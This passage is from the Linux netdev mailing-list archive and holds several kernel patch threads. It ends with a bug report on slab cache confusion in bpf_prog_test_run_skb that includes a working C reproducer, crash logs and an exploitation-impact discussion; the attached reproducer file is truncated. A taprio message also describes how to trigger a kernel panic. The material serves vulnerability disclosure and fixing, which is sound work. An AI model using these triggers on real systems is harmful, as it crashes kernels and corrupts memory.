i_cm_id = NULL because the connection worker has not yet called
rds_ib_conn_path_connect() to create the rdma_cm_id. When sendmsg() with
RDS_CMSG_RDMA_MAP is called on such a connection, the sendmsg path parses
the control message before any connection establishment, allowing
rds_ib_post_reg_frmr() to dereference ic->i_cm_id->qp and crash the
kernel.
The existing guard in rds_ib_reg_frmr() only checks for !ic (added in
commit 9e630bcb7701), which does not catch this case since ic is allocated
early and is always non-NULL once the connection object exists.
KASAN: null-ptr-deref in range [0x0000000000000010-0x0000000000000017]
RIP: 0010:rds_ib_post_reg_frmr+0x50e/0x920
Call Trace:
rds_ib_post_reg_frmr (net/rds/ib_frmr.c:167)
rds_ib_map_frmr (net/rds/ib_frmr.c:252)
rds_ib_reg_frmr (net/rds/ib_frmr.c:430)
rds_ib_get_mr (net/rds/ib_rdma.c:615)
__rds_rdma_map (net/rds/rdma.c:295)
rds_cmsg_rdma_map (net/rds/rdma.c:860)
rds_sendmsg (net/rds/send.c:1363)
____sys_sendmsg
do_syscall_64
Add a check in rds_ib_get_mr() that verifies ic, i_cm_id, and qp are all
non-NULL before proceeding with FRMR registration, mirroring the guard
already present in rds_ib_post_inv(). Return -ENODEV when the connection
is not ready, which the existing error handling in rds_cmsg_send() converts
to -EAGAIN for userspace retry and triggers rds_conn_connect_if_down() to
start the connection worker.
Fixes: 1659185fb4d0 ("RDS: IB: Support Fastreg MR (FRMR) memory registration mode")
Reported-by: Xiang Mei <xmei5@asu.edu>
Signed-off-by: Weiming Shi <bestswngs@gmail.com>
---
net/rds/ib_rdma.c | 7 ++++++-
1 file changed, 6 insertions(+), 1 deletion(-)
diff --git a/net/rds/ib_rdma.c b/net/rds/ib_rdma.c
index 077f7041df155..2cfec252eeac2 100644
--- a/net/rds/ib_rdma.c
+++ b/net/rds/ib_rdma.c
@@ -604,8 +604,13 @@ void *rds_ib_get_mr(struct scatterlist *sg, unsigned long nents,
return ibmr;
}
- if (conn)
+ if (conn) {
ic = conn->c_transport_data;
+ if (!ic || !ic->i_cm_id || !ic->i_cm_id->qp) {
+ ret = -ENODEV;
+ goto out;
+ }
+ }
if (!rds_ibdev->mr_8k_pool || !rds_ibdev->mr_1m_pool) {
ret = -ENODEV;
--
2.43.0
^ permalink raw reply related
* Re: [PATCH net] net/sched: taprio: fix NULL pointer dereference in class dump
From: Weiming Shi @ 2026-03-30 16:23 UTC (permalink / raw)
To: Jamal Hadi Salim
Cc: Vinicius Costa Gomes, Jiri Pirko, David S . Miller, Eric Dumazet,
Jakub Kicinski, Paolo Abeni, Simon Horman, netdev, Xiang Mei,
Vladimir Oltean
In-Reply-To: <CAM0EoMkFVKfcQ=PN1J_4JL3Cvqiz2Zfaismp79hGiYouD+yZ7w@mail.gmail.com>
On 26-03-30 12:04, Jamal Hadi Salim wrote:
> On Mon, Mar 30, 2026 at 6:43 AM Weiming Shi <bestswngs@gmail.com> wrote:
> >
> > When a TAPRIO child qdisc is deleted via RTM_DELQDISC, taprio_graft()
> > is called with new == NULL and stores NULL into q->qdiscs[cl - 1].
> > Subsequent RTM_GETTCLASS dump operations walk all classes via
> > taprio_walk() and call taprio_dump_class(), which calls taprio_leaf()
> > returning the NULL pointer, then dereferences it to read child->handle,
> > causing a kernel NULL pointer dereference.
> >
> > The bug is reachable with namespace-scoped CAP_NET_ADMIN on any kernel
> > with CONFIG_NET_SCH_TAPRIO enabled. On systems with unprivileged user
> > namespaces enabled, an unprivileged local user can trigger a kernel
> > panic by creating a taprio qdisc inside a new network namespace,
> > grafting an explicit child qdisc, deleting it, and requesting a class
> > dump. The RTM_GETTCLASS dump itself requires no capability.
> >
> > Oops: general protection fault, probably for non-canonical address 0xdffffc0000000007: 0000 [#1] SMP KASAN NOPTI
> > KASAN: null-ptr-deref in range [0x0000000000000038-0x000000000000003f]
> > RIP: 0010:taprio_dump_class (net/sched/sch_taprio.c:2475)
> > Call Trace:
> > <TASK>
> > tc_fill_tclass (net/sched/sch_api.c:1966)
> > qdisc_class_dump (net/sched/sch_api.c:2329)
> > taprio_walk (net/sched/sch_taprio.c:2510)
> > tc_dump_tclass_qdisc (net/sched/sch_api.c:2353)
> > tc_dump_tclass_root (net/sched/sch_api.c:2370)
> > tc_dump_tclass (net/sched/sch_api.c:2431)
> > rtnl_dumpit (net/core/rtnetlink.c:6827)
> > netlink_dump (net/netlink/af_netlink.c:2325)
> > rtnetlink_rcv_msg (net/core/rtnetlink.c:6927)
> > netlink_rcv_skb (net/netlink/af_netlink.c:2550)
> > </TASK>
> >
> > Fix this by substituting &noop_qdisc when new is NULL in
> > taprio_graft(), following the same pattern used by multiq_graft() and
> > prio_graft(). This ensures q->qdiscs[] slots are never NULL, making
> > all consumer paths (dump, enqueue, dequeue) safe. The noop_qdisc is a
> > kernel-global builtin qdisc that drops all packets, which is
> > functionally equivalent to a NULL child for data path purposes. The
> > refcount increment and flag modification are guarded with
> > != &noop_qdisc to avoid modifying the global singleton.
> >
> > Fixes: 665338b2a7a0 ("net/sched: taprio: dump class stats for the actual q->qdiscs[]")
> > Cc: stable@vger.kernel.org
> > Reported-by: Xiang Mei <xmei5@asu.edu>
> > Signed-off-by: Weiming Shi <bestswngs@gmail.com>
>
> You forgot to Cc the author of the commit (Vladimir) now on Cc.
> I have also removed @stable from the list; it is not your
> responsibility to decide what goes to stable, lets leave that to the
> netdev maintainers.
>
> cheers,
> jamal
Hi Jamal,
Thanks for the review and for adding Vladimir to Cc. Noted on
the stable Cc — will keep that in mind for future submissions.
Weiming Shi
>
> > ---
> > net/sched/sch_taprio.c | 7 +++++--
> > 1 file changed, 5 insertions(+), 2 deletions(-)
> >
> > diff --git a/net/sched/sch_taprio.c b/net/sched/sch_taprio.c
> > index f721c03514f60..cecaef16c0dd1 100644
> > --- a/net/sched/sch_taprio.c
> > +++ b/net/sched/sch_taprio.c
> > @@ -2183,6 +2183,9 @@ static int taprio_graft(struct Qdisc *sch, unsigned long cl,
> > if (!dev_queue)
> > return -EINVAL;
> >
> > + if (!new)
> > + new = &noop_qdisc;
> > +
> > if (dev->flags & IFF_UP)
> > dev_deactivate(dev);
> >
> > @@ -2196,14 +2199,14 @@ static int taprio_graft(struct Qdisc *sch, unsigned long cl,
> > *old = q->qdiscs[cl - 1];
> > if (FULL_OFFLOAD_IS_ENABLED(q->flags)) {
> > WARN_ON_ONCE(dev_graft_qdisc(dev_queue, new) != *old);
> > - if (new)
> > + if (new != &noop_qdisc)
> > qdisc_refcount_inc(new);
> > if (*old)
> > qdisc_put(*old);
> > }
> >
> > q->qdiscs[cl - 1] = new;
> > - if (new)
> > + if (new != &noop_qdisc)
> > new->flags |= TCQ_F_ONETXQUEUE | TCQ_F_NOPARENT;
> >
> > if (dev->flags & IFF_UP)
> > --
> > 2.43.0
> >
^ permalink raw reply
* RE: [Intel-wired-lan] [PATCH iwl-net v2] ice: fix posted write support for sideband queue operations
From: Nitka, Grzegorz @ 2026-03-30 16:23 UTC (permalink / raw)
To: Keller, Jacob E, Korba, Przemyslaw,
intel-wired-lan@lists.osuosl.org
Cc: netdev@vger.kernel.org, Nguyen, Anthony L, Kitszel, Przemyslaw
In-Reply-To: <dbe4af5f-b8c6-4abe-bd55-8f970e18add9@intel.com>
> -----Original Message-----
> From: Intel-wired-lan <intel-wired-lan-bounces@osuosl.org> On Behalf Of
> Jacob Keller
> Sent: Thursday, March 26, 2026 12:42 AM
> To: Korba, Przemyslaw <przemyslaw.korba@intel.com>; intel-wired-
> lan@lists.osuosl.org
> Cc: netdev@vger.kernel.org; Nguyen, Anthony L
> <anthony.l.nguyen@intel.com>; Kitszel, Przemyslaw
> <przemyslaw.kitszel@intel.com>
> Subject: Re: [Intel-wired-lan] [PATCH iwl-net v2] ice: fix posted write support
> for sideband queue operations
>
> On 3/19/2026 4:13 AM, Przemyslaw Korba wrote:
> > On E830, PTP time adjustment commands sent via
> > SBQ don't generate completion responses, causing the driver to
> > timeout waiting and return -EIO, when trying:
> >
> Hm. Is this really for E830? I didn't realize that device actually
> sends SBQ commands for PTP?
>
> According to ice_ptp_adj_clock for E830, it says "E830 sync PHYs
> automatically after setting GLTSYN_SHADJ".
>
> Did you mean E825-C here? Can you confirm the device type affected? Or
> am I missing something?
>
> > phc_ctl eth8 get adj 2 get
> > dmesg: ice 0000:1a:00.0: PTP failed to adjust time, err -5
> >
> > Add support for posted mode not to wait for completion response.
> >
> > Fixes: 8f5ee3c477a8 ("ice: add support for sideband messages")
> > Signed-off-by: Przemyslaw Korba <przemyslaw.korba@intel.com>
> > ---
> > v2:
> > - change "postpone" to "posted"
> > - init struct with {} instead of {0}
> > v1:
> > https://lore.kernel.org/intel-wired-lan/20260310110700.345904-1-
> przemyslaw.korba@intel.com/
> >
> > drivers/net/ethernet/intel/ice/ice_common.c | 7 ++++++-
> > drivers/net/ethernet/intel/ice/ice_controlq.c | 4 ++++
> > drivers/net/ethernet/intel/ice/ice_controlq.h | 1 +
> > 3 files changed, 11 insertions(+), 1 deletion(-)
> >
> > diff --git a/drivers/net/ethernet/intel/ice/ice_common.c
> b/drivers/net/ethernet/intel/ice/ice_common.c
> > index 8866902efb91..c89c6ca1281b 100644
> > --- a/drivers/net/ethernet/intel/ice/ice_common.c
> > +++ b/drivers/net/ethernet/intel/ice/ice_common.c
> > @@ -1765,6 +1765,7 @@ int ice_sbq_rw_reg(struct ice_hw *hw, struct
> ice_sbq_msg_input *in, u16 flags)
> > {
>
> This affects the ice_sbq_rw_reg function which is used by several
> variants including the E822 devices, E825-C with ETH56G, and even E810
> devices.
>
> Do all these devices not provide completion? Or do we simply not care
> about waiting?
>
> I don't see a single call to ice_sbq_rw_reg for E830, so I suspect this
> is correct but for a different device, and the commit message is just a
> typo?
>
I strongly believe this patch is needed for E830 devices.
Please note that after this fix:
https://patchwork.ozlabs.org/project/intel-wired-lan/patch/20251218094428.1762860-1-grzegorz.nitka@intel.com/
there is actually a call to ice_sbq_rw_write. And we used 'posted' variant for this case.
Regards
Grzegorz
> > struct ice_sbq_cmd_desc desc = {0};
> > struct ice_sbq_msg_req msg = {0};
> > + struct ice_sq_cd cd = {};
> > u16 msg_len;
> > int status;
> >
> > @@ -1785,10 +1786,14 @@ int ice_sbq_rw_reg(struct ice_hw *hw, struct
> ice_sbq_msg_input *in, u16 flags)
> > */
> > msg_len -= sizeof(msg.data);
> >
> > + if (in->opcode == ice_sbq_msg_wr)
> > + cd.posted = 1;
> > +
> > desc.flags = cpu_to_le16(flags);
> > desc.opcode = cpu_to_le16(ice_sbq_opc_neigh_dev_req);
> > desc.param0.cmd_len = cpu_to_le16(msg_len);
> > - status = ice_sbq_send_cmd(hw, &desc, &msg, msg_len, NULL);
> > + status = ice_sbq_send_cmd(hw, &desc, &msg, msg_len, &cd);
> > +
> > if (!status && !in->opcode)
> > in->data = le32_to_cpu
> > (((struct ice_sbq_msg_cmpl *)&msg)->data);
> > diff --git a/drivers/net/ethernet/intel/ice/ice_controlq.c
> b/drivers/net/ethernet/intel/ice/ice_controlq.c
> > index dcb837cadd18..a6008dc77fa4 100644
> > --- a/drivers/net/ethernet/intel/ice/ice_controlq.c
> > +++ b/drivers/net/ethernet/intel/ice/ice_controlq.c
> > @@ -1086,6 +1086,10 @@ ice_sq_send_cmd(struct ice_hw *hw, struct
> ice_ctl_q_info *cq,
> > wr32(hw, cq->sq.tail, cq->sq.next_to_use);
> > ice_flush(hw);
> >
> > + /* If the message is posted, don't wait for completion. */
> > + if (cd && cd->posted)
> > + goto sq_send_command_error;
> > +
> > /* Wait for the command to complete. If it finishes within the
> > * timeout, copy the descriptor back to temp.
> > */
> > diff --git a/drivers/net/ethernet/intel/ice/ice_controlq.h
> b/drivers/net/ethernet/intel/ice/ice_controlq.h
> > index 788040dd662e..c50d6fcbacba 100644
> > --- a/drivers/net/ethernet/intel/ice/ice_controlq.h
> > +++ b/drivers/net/ethernet/intel/ice/ice_controlq.h
> > @@ -77,6 +77,7 @@ struct ice_ctl_q_ring {
> > /* sq transaction details */
> > struct ice_sq_cd {
> > struct libie_aq_desc *wb_desc;
> > + u8 posted : 1;
> > };
> >
> > /* rq event information */
> >
> > base-commit: acd2abc52dea91c3bc3d1b6dd8a92b9631d48bbf
^ permalink raw reply
* Re: [PATCH net-next v5 00/14] macb usrio/tsu patches
From: Conor Dooley @ 2026-03-30 16:20 UTC (permalink / raw)
To: Jiawen Wu
Cc: patchwork-bot+netdevbpf, netdev, conor.dooley,
Valentina.FernandezAlanis, andrew+netdev, davem, edumazet, kuba,
pabeni, robh, krzk+dt, conor+dt, daire.mcnamara, pjw, palmer, aou,
alex, nicolas.ferre, claudiu.beznea, richardcochran,
samuel.holland, devicetree, linux-kernel, linux-riscv,
dave.stevenson, sean.anderson, vineeth.karumanchi, abin.joseph,
theo.lebrun, Ryan.Wanner, haokexin
In-Reply-To: <06a701dcc014$86def5b0$949ce110$@trustnetic.com>
[-- Attachment #1: Type: text/plain, Size: 972 bytes --]
On Mon, Mar 30, 2026 at 03:12:10PM +0800, Jiawen Wu wrote:
> > Hello:
> >
> > This series was applied to netdev/net-next.git (main)
> > by Jakub Kicinski <kuba@kernel.org>:
> >
> > On Wed, 25 Mar 2026 16:28:04 +0000 you wrote:
> > > From: Conor Dooley <conor.dooley@microchip.com>
> > >
> > > Hey folks,
> > >
> > > At the very least, it'd be good of the soc vendor folks could check
> > > their platforms and see if their usrio stuff actually lines up with what
> > > the driver currently calls "macb_default_usrio". Ours didn't and it was
> > > a nasty surprise.
> > >
> > > [...]
> >
> > Here is the summary with links:
> > - [net-next,v5,02/14] net: macb: rename macb_default_usrio to at91_default_usrio as not all platforms have mii mode control in
> There are compilation errors after merging this patch set.
> I believe the error occurred where the CONFIG_OF is not set.
Thanks for the report. I have sent what's hopefully a fix..
[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 228 bytes --]
^ permalink raw reply
* Re: [PATCH v8 01/12] lsm: Add LSM hook security_unix_find
From: Mickaël Salaün @ 2026-03-30 16:02 UTC (permalink / raw)
To: Paul Moore, John Johansen, Georgia Garcia
Cc: Günther Noack, James Morris, Serge E . Hallyn, Tingmao Wang,
Justin Suess, linux-security-module, Samasth Norway Ananda,
Matthieu Buffet, Mikhail Ivanov, konstantin.meskhidze,
Demi Marie Obenour, Alyssa Ross, Jann Horn, Tahera Fahimi,
Sebastian Andrzej Siewior, Kuniyuki Iwashima, Simon Horman,
netdev, Alexander Viro, Christian Brauner
In-Reply-To: <CAHC9VhRktViRp_U3ZAvo2e7vbjUd6RZb-y8+YPXhtLpt7hsXYg@mail.gmail.com>
On Fri, Mar 27, 2026 at 01:55:58PM -0400, Paul Moore wrote:
> On Fri, Mar 27, 2026 at 12:49 PM Günther Noack <gnoack3000@gmail.com> wrote:
> >
> > From: Justin Suess <utilityemal77@gmail.com>
> >
> > Add an LSM hook security_unix_find.
> >
> > This hook is called to check the path of a named UNIX socket before a
> > connection is initiated. The peer socket may be inspected as well.
> >
> > Why existing hooks are unsuitable:
> >
> > Existing socket hooks, security_unix_stream_connect(),
> > security_unix_may_send(), and security_socket_connect() don't provide
> > TOCTOU-free / namespace independent access to the paths of sockets.
> >
> > (1) We cannot resolve the path from the struct sockaddr in existing hooks.
> > This requires another path lookup. A change in the path between the
> > two lookups will cause a TOCTOU bug.
> >
> > (2) We cannot use the struct path from the listening socket, because it
> > may be bound to a path in a different namespace than the caller,
> > resulting in a path that cannot be referenced at policy creation time.
> >
> > Consumers of the hook wishing to reference @other are responsible
> > for acquiring the unix_state_lock and checking for the SOCK_DEAD flag
> > therein, ensuring the socket hasn't died since lookup.
> >
> > Cc: Günther Noack <gnoack3000@gmail.com>
> > Cc: Tingmao Wang <m@maowtm.org>
> > Cc: Mickaël Salaün <mic@digikod.net>
> > Cc: Paul Moore <paul@paul-moore.com>
> > Signed-off-by: Justin Suess <utilityemal77@gmail.com>
> > Signed-off-by: Günther Noack <gnoack3000@gmail.com>
> > ---
> > include/linux/lsm_hook_defs.h | 5 +++++
> > include/linux/security.h | 11 +++++++++++
> > net/unix/af_unix.c | 10 +++++++---
> > security/security.c | 20 ++++++++++++++++++++
> > 4 files changed, 43 insertions(+), 3 deletions(-)
>
> This patch doesn't look like it changed significantly in this
> revision, is there a reason you dropped the tags from Georgia and I?
You'r right, the patch didn't change at all. I added Georgia's tag in my
-next branch for the previous version, I guess Günther forgot to add it
for this version, but I updated my branch with the same tag, so it's
still there. Thank you both BTW!
I just included a one-line fix because of the m68k warning, we'll see if
it works as expected, and we should be good to go. It would be nice to
have John's feedback though.
^ permalink raw reply
* Re: [PATCH v8 00/10] VMSCAPE optimization for BHI variant
From: Pawan Gupta @ 2026-03-30 16:11 UTC (permalink / raw)
To: Jon Kohler
Cc: x86@kernel.org, Nikolay Borisov, H. Peter Anvin, Josh Poimboeuf,
David Kaplan, Sean Christopherson, Borislav Petkov, Dave Hansen,
Peter Zijlstra, Alexei Starovoitov, Daniel Borkmann,
Andrii Nakryiko, KP Singh, Jiri Olsa, David S. Miller,
David Laight, Andy Lutomirski, Thomas Gleixner, Ingo Molnar,
David Ahern, Martin KaFai Lau, Eduard Zingerman, Song Liu,
Yonghong Song, John Fastabend, Stanislav Fomichev, Hao Luo,
Paolo Bonzini, Jonathan Corbet, linux-kernel@vger.kernel.org,
kvm@vger.kernel.org, Asit Mallick, Tao Zhang, bpf@vger.kernel.org,
netdev@vger.kernel.org, linux-doc@vger.kernel.org
In-Reply-To: <3B7BF368-4A3A-4853-A7CD-6F17E7982546@nutanix.com>
On Mon, Mar 30, 2026 at 03:16:32AM +0000, Jon Kohler wrote:
> Tested the v7 of this series with 6.18.y and one of our performance
> suites, where we had previously bisected a significant regression to
> the enablement of the VMSCAPE mitigation. This particular suite looks
> at synthetic performance using KVM virtualized Windows guests.
>
> Long story short, this suite tries to derive what end user experience
> would be in these virtual machines while performing a standardized set
> of synthetic tasks on real apps.
>
> VMSCAPE hits especially hard when enabling Windows HVCI, which drives
> a much higher VMExit count, all else equals.
>
> Tested on an Intel Xeon 6444Y (SPR)
>
> TLDR, we're really happy with the results. The following was with
> Intel MBEC *enabled*, so even with that speedup (and drastic reduction
> in VMExits), this optimization makes a significant difference.
>
> - CPU‑ready time drops ~70 % across all steady‑state and log‑on metrics
> with this series, indicating more efficient context switching even
> though overall hypervisor CPU rises ~14 % (steady) to ~12 % (max).
> Basically, we're getting more actual work done.
> - Read/write IOPS increase by ~18–37 % and 14–20 % respectively, while
> average IO latency remains largely unchanged or slightly lower in
> steady metrics.
> - Power consumption falls 5–11 % in every category
> - Login times improve by 4–6 % on average.
> - Application start‑up times are generally better (Word, Excel,
> PowerPoint, Outlook), especially Outlook max time drops 67 %, a clear
> win for end‑user experience.
These results are promising.
> Tested-By: Jon Kohler <jon@nutanix.com>
Thanks for testing, Jon.
^ permalink raw reply
* [BUG] bpf: warn_free_bad_obj in bpf_prog_test_run_skb - slab cross-cache confusion in skb_free_head
From: antonius @ 2026-03-30 16:04 UTC (permalink / raw)
To: bpf
Cc: netdev, linux-kernel, ast, daniel, andrii, martin.lau, song,
john.fastabend, kuba, davem, syzkaller-bugs
[-- Attachment #1.1: Type: text/plain, Size: 5881 bytes --]
Hi,
I found a slab cache confusion bug in bpf_prog_test_run_skb() on Linux
7.0.0-rc5, triggered via BPF_PROG_TEST_RUN with BPF_PROG_TYPE_SCHED_CLS.
The issue was originally discovered by syzkaller during a fuzzing campaign
targeting io_uring BPF filter and BPF test_run subsystems.
== Bug Description ==
bpf_test_init() allocates skb->head using kzalloc() with size:
data_size_in + NET_SKB_PAD + NET_IP_ALIGN = 284 + 32 + 2 = 318 bytes
SLUB rounds this up to the kmalloc-1k cache (704 bytes as reported by
KFENCE). However, skb_free_head() subsequently calls:
kmem_cache_free(skbuff_small_head_cache, head)
This is the wrong cache — the object belongs to kmalloc-1k, not
skbuff_small_head. SLUB detects this mismatch and fires warn_free_bad_obj(),
followed by a KFENCE out-of-bounds read in print_track().
== Affected Code ==
net/bpf/test_run.c: bpf_test_init()
net/core/skbuff.c: skb_free_head()
The root cause is a mismatch between the allocation cache used by
bpf_test_init() and the cache assumed by skb_free_head() when determining
how to free skb->head for test skbs.
== Kernel Version ==
7.0.0-rc5 (commit: confirmed on rc5 tag)
Also tested: Lubuntu 25.10 (kernel 7.0.0-rc5, CONFIG_KFENCE=y)
Debian Trixie syzkaller VM (kernel 7.0.0-rc5, CONFIG_KFENCE=y)
== Privilege Required ==
CAP_BPF or root. BPF_PROG_TYPE_SCHED_CLS requires bpf_capable().
== Reproducer ==
Minimal C reproducer (2 syscalls):
--- 8< ---
#define _GNU_SOURCE
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#ifndef __NR_bpf
#define __NR_bpf 321
#endif
static uint8_t bpf_insns[] = {
/* ld_imm64 r0, 0 */
0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
/* exit */
0x95, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
/* 284 bytes test data (size critical: NET_SKB_PAD+NET_IP_ALIGN+284 > 512)
*/
static uint8_t test_data[284];
int main(void)
{
/* BPF_PROG_LOAD: SCHED_CLS, 3 insns */
uint8_t load_attr[0x94];
memset(load_attr, 0, sizeof(load_attr));
*(uint32_t*)(load_attr+0x00) = 3; /* SCHED_CLS */
*(uint32_t*)(load_attr+0x04) = 3; /* insn_cnt */
*(uint64_t*)(load_attr+0x08) = (uint64_t)bpf_insns;
*(uint64_t*)(load_attr+0x10) = (uint64_t)"GPL";
int fd = (int)syscall(__NR_bpf, 5, load_attr, 0x94);
if (fd < 0) { perror("BPF_PROG_LOAD"); return 1; }
/* BPF_PROG_TEST_RUN: data=284B, flags=BPF_F_TEST_RUN_ON_CPU, repeat=4
*/
uint8_t run_attr[0x50];
memset(run_attr, 0, sizeof(run_attr));
*(uint32_t*)(run_attr+0x00) = (uint32_t)fd; /* prog_fd */
*(uint32_t*)(run_attr+0x08) = 284; /* data_size_in */
*(uint64_t*)(run_attr+0x10) = (uint64_t)test_data;
*(uint32_t*)(run_attr+0x20) = 4; /* repeat */
*(uint32_t*)(run_attr+0x40) = 4; /*
flags=BPF_F_TEST_RUN_ON_CPU */
syscall(__NR_bpf, 10, run_attr, 0x50);
return 0;
}
--- 8< ---
Build: gcc -O0 -o repro repro.c
Run: sudo ./repro (requires CAP_BPF)
sudo dmesg | grep warn_free_bad_obj
== Kernel Output ==
[ 761.069607] ------------[ cut here ]------------
[ 761.069623] kmem_cache_free(skbuff_small_head, ffff888186dfac00): object
belongs to different cache kmalloc-1k
[ 761.069638] WARNING: mm/slub.c:6258 at warn_free_bad_obj+0x91/0xc0,
CPU#0: repro/1513
[ 761.069670] Modules linked in:
[ 761.069690] CPU: 0 UID: 0 PID: 1513 Comm: repro Not tainted 7.0.0-rc5 #1
[ 761.069716] RIP: 0010:warn_free_bad_obj+0x98/0xc0
[ 761.069882] Call Trace:
[ 761.069888] <TASK>
[ 761.069899] skb_free_head+0x1ec/0x290
[ 761.069918] skb_release_data+0x7a6/0x9d0
[ 761.069970] bpf_prog_test_run_skb+0x14f8/0x3410
[ 761.070190] __sys_bpf+0x769/0x4b60
[ 761.070422] do_syscall_64+0x111/0x690
[ 761.070456] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 761.070610] </TASK>
[ 761.073682]
==================================================================
[ 761.073736] BUG: KFENCE: out-of-bounds read in print_track+0x0/0x50
[ 761.073790] Out-of-bounds read at 0xffff888186dfb010 (1040B right of
kfence-#252):
[ 761.074117] kfence-#252: 0xffff888186dfac00-0xffff888186dfaebf,
size=704, cache=kmalloc-1k
[ 761.074168] allocated by task 1513 on cpu 0 at 761.069452s:
[ 761.074198] bpf_test_init.isra.0+0xf9/0x1e0
[ 761.074218] bpf_prog_test_run_skb+0x489/0x3410
== Security Impact ==
This bug causes heap corruption via slab cross-cache confusion. An object
from kmalloc-1k is placed into the freelist of skbuff_small_head cache.
Subsequent alloc_skb() calls can reclaim this chunk, potentially leading to:
- Information leak (stale kernel data readable via new skb->head)
- Heap corruption if controlled data written before reclaim
- Denial of service (kernel WARNING, system instability)
Full exploitation to LPE would require chaining with additional primitives
(KASLR bypass, heap spray). Bug is not directly exploitable for LPE without
further primitives.
CVSS v3.1 estimate: AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H = 6.7 (Medium)
== Fix Suggestion ==
In bpf_test_init() (net/bpf/test_run.c), the skb->head allocation should
either:
1. Use skb_head_from_pool() or kmalloc_reserve() to ensure the allocation
lands in the cache that skb_free_head() expects, or
2. Set skb->head_frag = 0 and clear the relevant flags so skb_free_head()
takes the kfree() path instead of kmem_cache_free() path.
Alternatively, skb_free_head() should verify the slab cache before calling
kmem_cache_free().
Reported-by: Antonius <antonius@bluedragonsec.com>
Thanks,
Antonius
Blue Dragon Security
https://bluedragonsec.com
[-- Attachment #1.2: Type: text/html, Size: 6551 bytes --]
[-- Attachment #2: repro_bpf.c --]
[-- Type: text/x-csrc, Size: 3937 bytes --]
#define _GNU_SOURCE
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#ifndef __NR_bpf
#define __NR_bpf 321
#endif
/* BPF insns: ld_imm64(r0,0) + exit — 3 insns = 24 bytes */
static uint8_t bpf_prog_bytes[] = {
0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x95, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
/* Data 284 bytes persis dari syzkaller repro.cprog — confirmed crash */
static uint8_t syz_data[284] = {
0x60,0xdc,0x24,0x19,0xdd,0x5e,0x95,0xd4,0x73,0x79,0xd5,0x04,0xef,0x23,0xc1,0x79,
0x45,0x52,0xaa,0x7b,0x7d,0x1d,0x56,0xfa,0xba,0x28,0x2e,0x46,0xc9,0x45,0x81,0x3d,
0x60,0x90,0xa3,0x11,0x47,0xc0,0x7f,0x95,0xf2,0x71,0x69,0xcb,0x54,0xbe,0x67,0x59,
0x79,0x28,0x85,0xcb,0x60,0xfa,0x32,0x80,0x61,0xa0,0xc9,0x05,0xc3,0xaa,0x1e,0x4c,
0x7b,0x82,0xf5,0x74,0x69,0x25,0x10,0x83,0xa0,0x12,0x8e,0x50,0xde,0xb0,0x10,0x72,
0xd9,0xc4,0x7a,0x94,0xca,0x02,0xb3,0xf7,0x4a,0xf9,0xba,0xcf,0xb5,0xf7,0x06,0x13,
0x36,0x1b,0x48,0x01,0xbe,0xd2,0x6b,0x41,0x30,0xf9,0x68,0x1e,0xd2,0xa7,0xc6,0x93,
0xff,0x8e,0xd1,0xea,0xf8,0x20,0xc0,0x60,0x13,0x33,0xe5,0xed,0x3f,0xd2,0xdc,0x8a,
0x5d,0xea,0xbe,0xeb,0x37,0xaf,0x12,0x0a,0x72,0xe5,0x00,0x8f,0xea,0xf8,0xae,0x0f,
0x59,0x9d,0xc1,0x86,0xc5,0xd5,0x8c,0x54,0x4a,0x1e,0xc8,0x83,0xf4,0xbc,0x04,0x6e,
0xd9,0x7a,0xf6,0x39,0x06,0xc0,0x12,0xab,0x0b,0xa6,0xa6,0x6e,0x06,0xcc,0x06,0x17,
0x78,0xe5,0x95,0x13,0x1c,0x15,0xcd,0xdf,0x7c,0x57,0x75,0xe3,0xaa,0x3d,0x8a,0x14,
0x13,0x97,0xed,0x95,0x93,0x90,0x27,0x81,0xf2,0xa1,0x64,0x32,0x5f,0x30,0x4c,0xba,
0x56,0x6f,0xa5,0x7e,0xef,0xff,0xa7,0x9e,0xa5,0xbb,0x08,0x71,0xd9,0x9f,0x3e,0xbb,
0x4c,0x46,0xed,0x51,0xc9,0x55,0x2b,0xda,0x25,0xa8,0x12,0x85,0xdc,0x0b,0x06,0x4a,
0xa7,0xfc,0xfb,0x00,0xf7,0x8a,0x33,0x24,0x8e,0x4d,0xf8,0x87,0xf2,0xe6,0x09,0x5c,
0x05,0xc9,0x97,0x20,0x96,0x66,0xf9,0xb5,0xad,0x2f,0xed,0x68,0x41,0xfa,0xb9,0x93,
0x28,0x88,0x5b,0x45,0x5e,0x61,0x6f,0x62,0x94,0xaa,0x17,0x68,
};
static int bpf_load(void)
{
uint8_t attr[0x94];
memset(attr, 0, sizeof(attr));
*(uint32_t*)(attr+0x00) = 3; /* SCHED_CLS */
*(uint32_t*)(attr+0x04) = 3; /* insn_cnt */
*(uint64_t*)(attr+0x08) = (uint64_t)bpf_prog_bytes;
*(uint64_t*)(attr+0x10) = (uint64_t)"GPL";
return (int)syscall(__NR_bpf, 5, attr, 0x94);
}
static long bpf_run(int fd, void *data, uint32_t sz,
uint32_t repeat, uint32_t flags)
{
uint8_t attr[0x50];
memset(attr, 0, sizeof(attr));
*(uint32_t*)(attr+0x00) = (uint32_t)fd;
*(uint32_t*)(attr+0x08) = sz;
*(uint64_t*)(attr+0x10) = (uint64_t)data;
*(uint32_t*)(attr+0x20) = repeat;
*(uint32_t*)(attr+0x40) = flags; /* BPF_F_TEST_RUN_ON_CPU = 4 */
*(uint32_t*)(attr+0x44) = 0; /* cpu = 0 */
return syscall(__NR_bpf, 10, attr, 0x50);
}
int main(void)
{
printf("repro2 — warn_free_bad_obj (syzkaller exact data)\n");
printf("uid=%d euid=%d\n", getuid(), geteuid());
/* Setup mmap persis seperti syzkaller */
syscall(__NR_mmap, 0x1ffffffff000ul, 0x1000ul,
0ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x200000000000ul, 0x1000000ul,
